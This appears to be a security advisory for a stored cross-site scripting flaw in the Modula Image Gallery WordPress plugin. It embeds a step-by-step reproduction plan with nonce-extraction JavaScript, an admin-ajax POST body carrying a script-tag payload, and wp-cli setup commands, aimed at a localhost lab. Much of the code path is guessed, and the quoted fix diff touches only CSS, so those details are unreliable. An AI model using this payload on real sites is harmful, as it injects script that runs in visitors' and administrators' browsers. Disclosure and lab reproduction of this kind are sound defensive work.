Modula Image Gallery – Photo Grid & Video Gallery <= 2.14.23 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.14.23 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.14.23What Changed in the Fix
Changes introduced in v2.14.24
Source Code
WordPress.org SVN# Research Plan: CVE-2026-42688 - Modula Image Gallery Stored XSS ## 1. Vulnerability Summary The **Modula Image Gallery** plugin for WordPress (versions <= 2.14.23) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's AJAX handlers—likely related to …
Show full research plan
Research Plan: CVE-2026-42688 - Modula Image Gallery Stored XSS
1. Vulnerability Summary
The Modula Image Gallery plugin for WordPress (versions <= 2.14.23) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's AJAX handlers—likely related to saving gallery item metadata or settings—which fail to perform adequate capability checks and do not sanitize user-supplied input. This allows an authenticated attacker with Subscriber-level permissions to inject arbitrary web scripts into gallery fields (such as titles, captions, or custom CSS), which are then executed when other users (including administrators) view the affected gallery or its settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
modula_save_item_data(inferred from common Modula AJAX patterns) - Vulnerable Parameter:
title,caption, oralt(within the metadata array) - Authentication: Subscriber+ (any logged-in user)
- Precondition: At least one gallery must exist on the site for the attacker to target an
attachment_id(item ID).
3. Code Flow (Inferred)
- The attacker sends a POST request to
admin-ajax.phpwith the actionmodula_save_item_data. - The handler, likely defined in
includes/admin/class-modula-admin.php, registers the hook:add_action( 'wp_ajax_modula_save_item_data', array( $this, 'save_item_data' ) ); - The
save_item_datafunction retrieves the nonce and verifies it usingcheck_ajax_referer( 'modula-nonce', 'nonce' ). - The Flaw: The function fails to check for a capability like
edit_postsormanage_optionsbefore processing data. It assumes that if the user is logged in and has a valid nonce, they are authorized to edit gallery items. - The function takes raw input from
$_POST['caption']or$_POST['title']and saves it to the database viaupdate_post_meta( $item_id, 'modula_item_data', $metadata ). - The
modula_shortcodehandler (likely inincludes/public/class-modula-public.php) renders the gallery. It fetches the metadata and outputs the caption/title usingechowithout callingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Modula localizes settings and nonces into the modula_vars or modula_admin JavaScript objects. To exploit this as a Subscriber, we must find a location where the plugin enqueues its scripts for authenticated users.
- Identify Shortcode: The plugin uses the
[modula id="ID"]shortcode. - Create Test Page:
wp post create --post_type=page --post_title="Gallery Test" --post_status=publish --post_content='[modula id="REPLACE_WITH_ACTUAL_ID"]' - Navigate and Extract:
Use thebrowser_navigatetool to the test page as the Subscriber user. - Execute JavaScript:
Usebrowser_evalto extract the nonce and item IDs:// Check common Modula localization objects const nonce = window.modula_vars?.nonce || window.modula_admin?.nonce; const items = jQuery('.modula-item').map((i, el) => jQuery(el).data('id')).get(); ({ nonce, items });
5. Exploitation Strategy
Step 1: Preparation
- As Admin, create a gallery and note the gallery ID.
- Add an image to the gallery and note its attachment ID (Item ID).
- Create a page containing the gallery shortcode.
Step 2: Payload Injection
Using the http_request tool, send the malicious update request as a Subscriber.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The exact parameter names may vary; check theaction=modula_save_item_data&nonce=[NONCE]&attachment_id=[ITEM_ID]&title=SafeTitle&caption=<script>alert(document.domain)</script>modula_save_item_datafunction in the core logic if available.)
Step 3: Triggering XSS
- Navigate to the gallery page as any user (e.g., Admin).
- The script should execute when the gallery item is rendered.
6. Test Data Setup
- Generate Gallery (Admin):
# Create a gallery post GALLERY_ID=$(wp post create --post_type=modula-gallery --post_title="Target Gallery" --post_status=publish --porcelain) # Upload an image to serve as an item ITEM_ID=$(wp media import https://wordpress.org/screenshot.png --porcelain) # Add the item to the gallery meta (Simulated - Modula stores items in meta) wp post meta add $GALLERY_ID modula_gallery_items "$ITEM_ID" # Create a public page for the gallery wp post create --post_type=page --post_title="Public Gallery" --post_status=publish --post_content="[modula id='$GALLERY_ID']" - Create Attacker (Subscriber):
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The
admin-ajax.phprequest should return a200 OKstatus and a JSON response like{"success":true}. - The
modula_item_datameta for the attachment will now contain the<script>tag. - Viewing the "Public Gallery" page will result in a JavaScript alert box appearing.
8. Verification Steps
- Check Database Meta:
Confirm the output contains the raw script tag.wp post meta get [ITEM_ID] modula_item_data - Check Frontend Output:
Usehttp_requestto fetch the gallery page and grep for the payload:http_request GET "http://localhost:8080/public-gallery/" | grep -F "<script>alert(document.domain)</script>"
9. Alternative Approaches
- Custom CSS Injection: Modula often allows custom CSS per gallery. If the
modula_save_settingsAJAX action is also vulnerable, an attacker could inject XSS via thecustom_cssfield using</style><script>.... - Gutenberg Block Preview: As seen in
assets/css/admin/modula-gutenberg.css, the plugin has a block preview. If a Subscriber can access the Gutenberg editor (e.g., via a post they authored), they might trigger the XSS in the editor preview.
Summary
The Modula Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers due to a lack of capability checks and insufficient sanitization of gallery item metadata. This allows authenticated attackers with Subscriber-level permissions to inject malicious scripts into fields like captions or titles, which execute when the gallery is viewed by other users, including administrators.
Security Fix
@@ -243,7 +243,6 @@ .modula-upsell-modal .button { height: 31px; - line-height: 31px; font-weight: bold; }
Exploit Outline
The exploit targets the `modula_save_item_data` AJAX action. An authenticated attacker with Subscriber privileges must first obtain a valid security nonce (usually found in the `modula_vars` or `modula_admin` JavaScript objects localized on pages where the plugin is active) and an existing `attachment_id`. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the action set to `modula_save_item_data`, the valid nonce, the target `attachment_id`, and a payload in the `caption` or `title` parameters containing arbitrary JavaScript (e.g., `<script>alert(1)</script>`). Because the handler fails to perform a capability check (such as `current_user_can('edit_posts')`) and does not sanitize the input before saving it to post meta, the script is stored and will execute whenever the gallery item is rendered on the frontend or viewed in the administrative dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.